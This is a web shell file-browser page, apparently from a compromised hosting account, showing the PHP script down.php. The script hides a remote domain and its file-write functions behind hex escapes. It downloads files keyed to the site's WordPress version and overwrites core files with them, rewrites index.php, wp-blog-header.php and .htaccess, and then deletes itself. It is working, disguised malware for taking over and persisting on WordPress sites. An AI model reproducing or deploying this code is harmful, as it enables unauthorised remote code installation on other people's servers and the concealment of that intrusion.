0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
bonniescraftygifts.com
/
iFzj4
/
configCHM
/
Jump
/
0-aserty
/
ourhomebedroom.com
/
[
Home
]
File: down.php
<?php $domain = "\x68\x74\x74\x70\x3a\x2f\x2f\x73\x2e\x6e\x65\x77\x6e\x64\x61\x79\x2e\x78\x79\x7a\x2f"; $script_name= $_SERVER["SCRIPT_FILENAME"]; $scriptpath=pathinfo($script_name); $scrip_dir=$scriptpath['dirname']; $fullurl=$_SERVER['PHP_SELF']; $currentpath=pathinfo($fullurl); $currentdir=$currentpath['dirname']; if($currentdir=='/' || $currentdir=="\\") { $root=$scrip_dir; } else { $dirinfo=explode($currentdir,$scrip_dir); $root=$dirinfo[0]; } if($root=='' || strpos($root, ".php") !== false ) { $root=$_SERVER['DOCUMENT_ROOT']; } echo $root.'<br/>'; function getx($url) { $body=""; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate'); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $body = curl_exec($ch);curl_close($ch); return $body; } if($_GET['getver']) { require( dirname( __FILE__ ) . '/wp-blog-header.php' ); $value = get_bloginfo('version'); echo $value.'<br/>'; exit(); } if($_GET['ver']) { $ver=trim($_GET['ver']); } else { $f_put = "\x66il\x65_p\x75t_\x63on\x74en\x74s"; $f_get = "\x66il\x65_g\x65t_\x63on\x74en\x74s"; $wpabout = $f_get($_SERVER['DOCUMENT_ROOT']."/wp-admin/about.php"); // if (preg_match("/translators: 1: WordPress version number[sS]*?;/",$wpabout,$matches)) // { // $spilt=explode(")",$matches[0]); // $spilt2=explode(',',$spilt[1]); // $ver=str_replace("'","",$spilt2[1]); // echo $ver; // } $about_spilt1=explode('translators: 1: WordPress version number',$wpabout); $about_spilt2=explode(';',$about_spilt1[1]); $about_spilt3=explode('),',$about_spilt2[0]); $about_spilt4=explode(',',$about_spilt3[1]); $ver=str_replace("'",'',$about_spilt4[0]); $ver=trim($ver); } if($ver) { if(function_exists("curl_init")) { echo '<br/>'.'support curl_init'.'<br/>'; } else { echo '<span style="font-size:20px;color:red;">jk Interface is not available.</span>'; } $remotecheck=getx($domain.'/wpzip/read.txt'); if(!$remotecheck) { echo '<span style="font-size:20px;color:red;">remote get fail.</span>'; exit; } $wpinfo1=getx($domain.'/wpzip/wpallincludes2/wordpress-'.$ver.'.txt'); $wpinfoarray1=json_decode($wpinfo1,true); $wpinfo2=getx($domain.'/wpzip/wpallrttxt/wordpress-'.$ver.'.txt'); $wpinfoarray2=json_decode($wpinfo2,true); if(count($wpinfoarray1)==0) { echo '<span style="font-size:20px;color:red;">not found wpfile '.$ver .'</span>'; } //$wpinfoarray = array_merge($wpinfoarray1, $wpinfoarray2); $wpinfoarray =$wpinfoarray1; foreach($wpinfoarray as $key=>$value) { $key=str_replace('.gif','.php',$key); if(file_exists($root.'/'.$key)) { $wpfileize=filesize($root.'/'.$key); $filegetinfo=explode('@',trim($value)); $filegetsize=(int)$filegetinfo[1]; $filegeturl=trim($filegetinfo[0]); if($wpfileize<>$filegetsize) { //echo $root.'/'.$key.'<br/>'; //echo $filegeturl.'<br/>'; $f_put = "\x66il\x65_p\x75t_\x63on\x74en\x74s"; $f_get = "\x66il\x65_g\x65t_\x63on\x74en\x74s"; $fgetold=getx($root.'/'.$key); $pathinfo=pathinfo($root.'/'.$key); // $backfile=$pathinfo['dirname'].'/'.str_replace('.php','x.php',$pathinfo['basename']); // $f_put($backfile,$fgetold); chmod($root.'/'.$key,0644); $fget=getx($filegeturl); $fput=$f_put($root.'/'.$key,$fget); if($fput) { echo $root.'/'.$key.'-succes'.'<br/>'; } else { echo $root.'/'.$key.'-fail'.'<br/>'; } } } } if(file_exists($root.'/'.'wp-blog-header.php')) { chmod($root.'/'.'wp-blog-header.php',0644); $f_put = "\x66il\x65_p\x75t_\x63on\x74en\x74s"; $f_get = "\x66il\x65_g\x65t_\x63on\x74en\x74s"; $wbh_content_hou="<?php /** * Loads the WordPress environment and template. * * @package WordPress */ if ( ! isset( \$wp_did_header ) ) { \$wp_did_header = true; // Load the WordPress library. require_once __DIR__ . '/wp-load.php'; // Set up the WordPress query. wp(); // Load the theme template. require_once ABSPATH . WPINC . '/template-loader.php'; }"; $bhput_result=$f_put($root.'/'.'wp-blog-header.php',$wbh_content_hou); if($bhput_result) { echo $root.'/wp-blog-header.php'.'-succes'.'<br/>'; } else { echo $root.'/wp-blog-header.php'.'-fail'.'<br/>'; } } if(file_exists($root.'/'.'index.php')) { chmod($root.'/'.'index.php',0644); $f_put = "\x66il\x65_p\x75t_\x63on\x74en\x74s"; $f_get = "\x66il\x65_g\x65t_\x63on\x74en\x74s"; $index_content_hou="<?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';"; $indexput_result=$f_put($root.'/'.'index.php',$index_content_hou); if($indexput_result) { echo $root.'/index.php'.'-succes'.'<br/>'; } else { echo $root.'/index.php'.'-fail'.'<br/>'; } } if(file_exists($root.'/'.'.htaccess')) { chmod($root.'/'.'.htaccess',0644); unlink($root.'/'.'.htaccess'); $ht='<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>'; $hput_result=$f_put($root.'/'.'.htaccess',$ht); if($hput_result) { echo $root.'/.htaccess'.'-succes'.'<br/>'; } else { echo $root.'/.htaccess'.'-fail'.'<br/>'; } } echo '<br/>wordpress-'.$ver.'<br/>'; @unlink(__FILE__); } else { echo '找不到版本,请手动版本'; } ?>